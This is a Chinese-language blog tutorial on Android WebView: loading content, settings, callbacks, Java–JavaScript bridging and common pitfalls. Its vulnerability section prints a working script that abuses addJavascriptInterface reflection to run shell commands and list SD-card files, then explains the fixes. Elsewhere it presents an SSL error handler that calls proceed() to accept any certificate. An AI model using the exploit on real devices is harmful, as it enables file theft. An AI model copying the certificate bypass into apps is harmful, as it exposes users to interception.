您的位置:首页 > 移动开发

关于使用WebView的一些问题

2017-07-03 20:01 579 查看
欢迎大家加入QQ群一起讨论: 489873144(android格调小窝)

我的github地址:https://github.com/jeasonlzy

我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView就提供了这样的方法。

1. WebView介绍

WebView 实际上继承自 AbsoluteLayout,但是完全不支持 ViewGroup 的各种操作;无法findViewById,也不要addView();

WebView内部的内容,到底是什么:不是控件,而是屏幕绘制出来的内容,底层是由一个浏览器引擎:WebKit 来画出来的。

WebKit : 一套开源的,支持多平台的,浏览器引擎;几乎所有的Android手机官方、默认浏览器,都使用了WebKit,能够将网页用图像的形式绘制出来,同时支持 JavaScript 以及HTML5的各种规范;

1.1 加载网页

直接打开网址

webView.loadUrl(“http://www.google.com“);

打开本地文件,文件存放在assets文件中

webView.loadUrl(“file:///android_asset/XX.html”);

加载字符串内容的形式显示网页

webView.loadData(String data, String mimeType, String encoding);

加载字符串内容的形式显示网页

webView.loadDataWithBaseURL(String baseUrl, String data, String mimeType, String encoding, String historyUrl);

1.2 WebView

webView.canGoBack();        // 用于检查是否可以后退
webView.goBack();           // 后退
webView.canGoForward();     // 用于检查是否可以前进
webView.goForward();        // 前进
webView.reload();           // 刷新当前页面
webView.stopLoading();      // 停止当前网页加载


WebView cookies清理:

CookieSyncManager.createInstance(this);
CookieSyncManager.getInstance().startSync();
CookieManager.getInstance().removeSessionCookie();


清理cache和历史记录:

webView.clearCache(true);
webView.clearHistory();


1.3 WebSetting

WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);            //支持js
settings.setUseWideViewPort(false);             //将图片调整到适合webview的大小
settings.setSupportZoom(true);                  //支持缩放
settings.setBuiltInZoomControls(true);          //设置支持缩放
settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);     //支持内容重新布局
settings.setSupportMultipleWindows(true);       //多窗口
settings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); //缓存设置
settings.setAllowFileAccess(true);              //设置可以访问文件
settings.setNeedInitialFocus(true);             //当webview调用requestFocus时为webview设置节点 webview
settings.setJavaScriptCanOpenWindowsAutomatically(true);    //支持通过JS打开新窗口
settings.setLoadWithOverviewMode(true);         //缩放至屏幕的大小
settings.setLoadsImagesAutomatically(true);     //支持自动加载图片


1.4 WebViewClient

webView.setWebViewClient(new WebViewClient(){})


内部有以下常用方法:

- shouldOverrideUrlLoading(..) 只有在网址加载中,并且不是 使用loadUrl启动的时候,会进行拦截,例如网页内部点击超链接,或者重定向,才会进入这个方法,重写此方法返回true表明点击网页里面的链接还是在当前的webview里跳转,不跳到浏览器那边。比如当webview内嵌网页的某个数字被点击时,它会自动认为这是一个电话请求,会传递url:tel:123,如果你不希望如此可通过重写shouldOverrideUrlLoading函数解决:

public boolean shouldOverrideUrlLoading(WebView view,String url){
if(url.indexOf("tel:")<0){//页面上有数字会导致连接电话
view.loadUrl(url); //在当前的webview中跳转到新的url
}
return true;
}


onPageStarted() 这个事件就是开始载入页面调用的,通常我们可以在这设定一个loading的页面,告诉用户程序在等待网络响应

onPageFinished(..) 在页面加载结束时调用。同样道理,我们知道一个页面载入完成,于是我们可以关闭loading 条,切换程序动作

onReceivedError(..) 加载失败,报告错误信息

onLoadResource(..) 在加载页面资源时会调用,每一个资源(比如图片)的加载都会调用一次

处理https请求

webView默认是不处理https请求的,页面显示空白,需要进行如下设置:

webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed();              //等待证书响应
//  handler.cancel();               //表示挂起连接
//  handler.handleMessage(null);    //可做其他处理
}
});


1.5 手机端WebView调试

对于4.4以上系统,可以开启调试,使用浏览器调试远程手机上的web页,详细介绍如下:

移动端Web开发调试之Chrome远程调试(Remote Debugging)

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}


1.6 js和java相互调用

一、java调用js

唯一的方法也是官方的方法,我只需呀将url改成javascript代码即可,java如下:

webView.loadUrl("javascript:show('xxx');");


web端代码如下:

<script language=javascript>
function show(str) {
alert(str);
}

function showReturn(str) {
return "result";
}
</script>


需要注意以下几个问题

- 如果js代码有返回值,这样做是获取不到返回值的,因为Android在4.4之前并没有提供直接调用js函数并获取值的方法,但是,iOS是可以拿到返回值的,这是最重要的区别!!!另外,我们也无法传递一个回调接口Callback用于回调,也就是说此方法调用成功与否,是无法知道的。

- show方法必须是 JS 中存在的,即使不存在你调用了也不会报错;另外,随着业务的增长,我们不得不增加许许多多类似show的方法,来处理其他业务。

所以在4.4之前,常用的思路是 java调用js方法,js方法执行完毕,js会再次调用java的一个方法将值返回。

Android 4.4之后增加了新的方法
evaluateJavascript
,代码如下:

private void testEvaluateJavascript(WebView webView) {
webView.evaluateJavascript(“getGreetings()”, new ValueCallback() {
@Override
public void onReceiveValue(String value) {
Log.i(LOGTAG, “onReceiveValue value=” + value);
}
});
}


二、js调用java

主要使用的方法如下

webView.addJavaScriptInterface(Object, String) //用于添加 JS 调用 Java的支持

第一个参数:当前Java中支持的方法,该方法可以有返回值,该返回值将会被js获取到,一般来说,Java方法建议采用返回字符串的方式,当然字符串可以使用JSON格式

第二个参数:将第一个对象注入到js的window对象后,在window对象中的别名

android端详细代码如下:

WebSettings webSettings = webView .getSettings();
webSettings.setJavaScriptEnabled(true);
// native就是一个别名,你可以随意
webView.addJavascriptInterface(new JsInterface(),"native");

private class JsInterface {
// 没有返回结果
@JavascriptInterface
public void jsMethod(String paramFromJS) {

}

// 有返回结果
@JavascriptInterface
public String jsMethodReturn(String paramFromJS) {
return "your result";
}
}


web端详细代码如下:

<script language=javascript>
// 没有返回结果
var paramFromJS = "xxx";
window.native.jsMethod(paramFromJS);

// 有返回结果
var returnResult = window.native.jsMethodReturn(paramFromJS);
</script>


同样我们需要注意以下问题:

- JS 都可以从 Android 和 iOS 方法拿到返回值,不存在Android 调用 JS 无法拿到返回值的情况。

- 弊端和前面类似,JS 事先需要知道 Android 和 iOS 的方法名(参数等);另外,随着业务的增长,我们不得不增加更多的方法,来处理其他业务。

到此,我们需要思考以下几个问题

1. 如何避免 JS、Android、iOS 相互调用时,需要事先“约定”方法名称和参数?

2. 原生调用 JS 方法,能否类似原生开发一样,使用 Callback(block) 做为回调方式?

3. JS 调用原生能否使用 function 获得返回值?

2. JsBridge

3. WebView的Js对象注入漏洞解决方案

3.1 webView漏洞描述



这是关于addJavascriptInterface方法在Android官网的描述,简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情,比如可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。

步骤如下:

1. WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:
android.permission.WRITE_EXTERNAL_STORAGE


2. JS中可以遍历window对象,找到存在”getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.

3. 再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么。

如何验证这个漏洞呢,首先我们需要一个4.2以下的手机或者模拟器,因为高版本的系统已经通过注解解决了这个bug。

我们编写如下代码,首先是清单文件,需要有以下权限

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>


我们编写一段js脚本,如下:

unsafe.js

function getContents(inputStream) {
var contents = "";
var b = inputStream.read();
while (b != -1) {
if (b == 0x0a) {
contents += "</br>"
} else {
contents += String.fromCharCode(b);
}
b = inputStream.read();
}
return contents;
}

function execute(cmdArgs) {
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
return window[obj].getClass()
.forName("java.lang.Runtime")
.getMethod("getRuntime", null)
.invoke(null, null)
.exec(cmdArgs);
}
}
}

var p = execute(["ls", "/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));


如果是个单独的文件,我们需要引入他,当然我是本地演示的,所以只需要在html文件中加入:

<script src="file:///android_asset/unsafe.js"></script>


就这样简单的三步我们就神不知鬼不觉的完成了一段恶意代码,我们运行一下发现如下结果:



通过webview,通过js脚本,手机里面的文件资料就这样被轻松拿到了,当然我们的演示只是列出了手机里面的文件,如果你有其他的想法,当然就根据自己的发挥来了。如果这个手机是被root的,那么js脚本所能执行的权限就更大了,几乎无所不能。这个漏洞的核心原理就是,我们通过java代码向
webview
中注入的对象,拥有
java
语言
Object
对象中的所有方法,特别是
getClass
方法,拿到了这个字节码对象,通过反射可以干任何事情。

3.2 解决方案

对于Android 4.2以上的系统比较简单,google作了修正,通过在Java的远程方法上面声明一个
@JavascriptInterface
,就像我们之前讲的这样。

private class JsInterface {
// 没有返回结果
@JavascriptInterface
public void jsMethod(String paramFromJS) {

}

// 有返回结果
@JavascriptInterface
public String jsMethodReturn(String paramFromJS) {
return "your result";
}
}


Android 4.2以下的系统,这个问题比较难解决,但也不是不能解决。

首先,我们肯定不能再调用
addJavascriptInterface
方法了。那我们最核心的就是JS与Java进行交互,双方要传递数据,有几个特殊的方法分别是
alert
confirm
prompt
,他们都是js中的通知类方法,并且他们对应到
WebChromeClient
类中有相应的方法,特别是对于
prompt
,它对应在
java
中的方法是
onJsPrompt
,这个方法的声明如下,通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,我们只需要有java何js相互约定好的数据格式就可以了。

public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {


让JS调用一个Javascript方法,这个方法总是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。

关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。

我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中

4. 一些常见问题

4.1 生成Js方法后,加载这段Js的时机是什么?

刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是
WebChromeClient
WebViewClient
的方法:

onLoadResource
doUpdateVisitedHistory
onPageStarted
onPageFinished
onReceivedTitle
onProgressChanged


4.2 需要过滤掉Object类的方法

由于在4.2以前的版本可以通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表,比如一般需要过滤的方法有:

getClass
hashCode
notify
notifyAll
equals
toString
wait


4.3 通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?

关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。

4.4 判断WebView是否已经滚动到页面底端

getScrollY()方法返回的是当前可见区域的顶端距整个页面顶端的距离,也就是当前内容滚动的距离

getHeight()或者getBottom()方法都返回当前WebView 这个容器的高度

getContentHeight 返回的是整个html 的高度,但并不等同于当前整个页面的高度,因为WebView 有缩放功能

所以当前整个页面的高度实际上应该是原始html 的高度再乘上缩放比例. 因此,更正后的结果,准确的判断方法应该是:

if(WebView.getContentHeight*WebView.getScale() == (webview.getHeight()+WebView.getScrollY())){
//已经处于底端
}


4.5 URL拦截

Android WebView是拦截不到页面内的fragment跳转的(也就是url后面跟#锚点定位)。但是如果是url跳转的话,又会引起页面刷新,H5页面的体验又下降了。所以只能给WebView注入JS方法了。

4.6 WebView 在Android4.4的手机上onPageFinished()回调会多调用一次

需要尽量避免在onPageFinished()中做业务操作,否则会导致重复调用,还有可能会引起逻辑上的错误。

4.7 需要通过获取Web页中的title用来设置自己界面中的title及相关问题

需要给WebView设置 WebChromeClient,并在onReceiveTitle()回调中获取

WebChromeClient webChromeClient = new WebChromeClient() {
@Override
public void onReceivedTitle(WebView view, String title) {
super.onReceivedTitle(view, title);
txtTitle.setText(title);
}
};


但是发现在小米3的手机上,当通过
webview.goBack()
回退的时候,并没有触发
onReceiveTitle()
,这样会导致标题仍然是之前子页面的标题,没有切换回来.

这里可以分两种情况去处理:

1. 可以确定webview中子页面只有二级页面,没有更深的层次,这里只需要判断当前页面是否为初始的主页面,可以goBack的话,只要将标题设置回来即可.

2. webview中可能有多级页面或者以后可能增加多级页面,这种情况处理起来要复杂一些,因为正常顺序加载的情况onReceiveTitle是一定会触发的,所以就需要自己来维护webview loading的一个url栈及url与title的映射关系,那么就需要一个ArrayList来保持加载过的url,一个HashMap保存url及对应的title.

正常顺序加载时,将url和对应的title保存起来,webview回退时,移除当前url并取出将要回退到的web 页的url,找到对应的title进行设置即可。这里还要说一点,当加载出错的时候,比如无网络,这时onReceiveTitle中获取的标题为 找不到该网页,因此建议当触发onReceiveError时,不要使用获取到的title。

4.8 WebView页面中播放了音频,退出Activity后音频仍然在播放

需要在Activity的onDestory()中调用webView.destroy();

但是直接调用可能会引起如下错误:

01-08 17:44:18.853 4381-4381/com.lzy.jsbridge E/webview: Error: WebView.destroy() called while still attached!


我们需要先从父容器中移除webview,然后再销毁webview:

rootLayout.removeView(webView);
webView.destroy();


4.9

01-09 11:52:42.216 31335-31433/com.lzy.jsbridge W/System.err: java.lang.RuntimeException: java.lang.Throwable: A WebView method was called on thread 'JavaBridge'. All WebView methods must be called on the same thread. (Expected Looper Looper (main, tid 1) {77e49d1} called on Looper (JavaBridge, tid 9661) {12b1aa3}, FYI main Looper is Looper (main, tid 1) {77e49d1})
01-09 11:52:42.216 31335-31433/com.lzy.jsbridge W/System.err:     at android.webkit.WebView.checkThread(WebView.java:2302)
01-09 11:52:42.216 31335-31433/com.lzy.jsbridge W/System.err:     at android.webkit.WebView.loadUrl(WebView.java:899)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at com.lzy.jsbridge.demo.Web2Activity$JsInterface.load(Web2Activity.java:158)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at org.chromium.base.SystemMessageHandler.nativeDoRunLoopOnce(Native Method)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at org.chromium.base.SystemMessageHandler.handleMessage(SystemMessageHandler.java:39)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at android.os.Handler.dispatchMessage(Handler.java:102)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at android.os.Looper.loop(Looper.java:148)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at android.os.HandlerThread.run(HandlerThread.java:61)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err: Caused by: java.lang.Throwable: A WebView method was called on thread 'JavaBridge'. All WebView methods must be called on the same thread. (Expected Looper Looper (main, tid 1) {77e49d1} called on Looper (JavaBridge, tid 9661) {12b1aa3}, FYI main Looper is Looper (main, tid 1) {77e49d1})
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:     at android.webkit.WebView.checkThread(WebView.java:2292)
01-09 11:52:42.217 31335-31433/com.lzy.jsbridge W/System.err:   ... 7 more


如果你觉得好,对你有过帮助,请给我一点打赏鼓励吧,一分也是爱呀!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: